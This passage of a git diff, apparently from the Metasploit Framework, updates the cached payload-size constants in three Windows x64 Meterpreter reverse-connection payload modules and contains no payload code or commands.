b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 249948 + CachedSize = 251580 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 6dcfc235c56f8..d5af7e685dea9 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 248902 + CachedSize = 250534 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index ca9321ddfdf62..6d023a6c72d77 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 248902 + CachedSize = 250534 include Msf::Payload::TransportConfig include Msf::Payload::Windows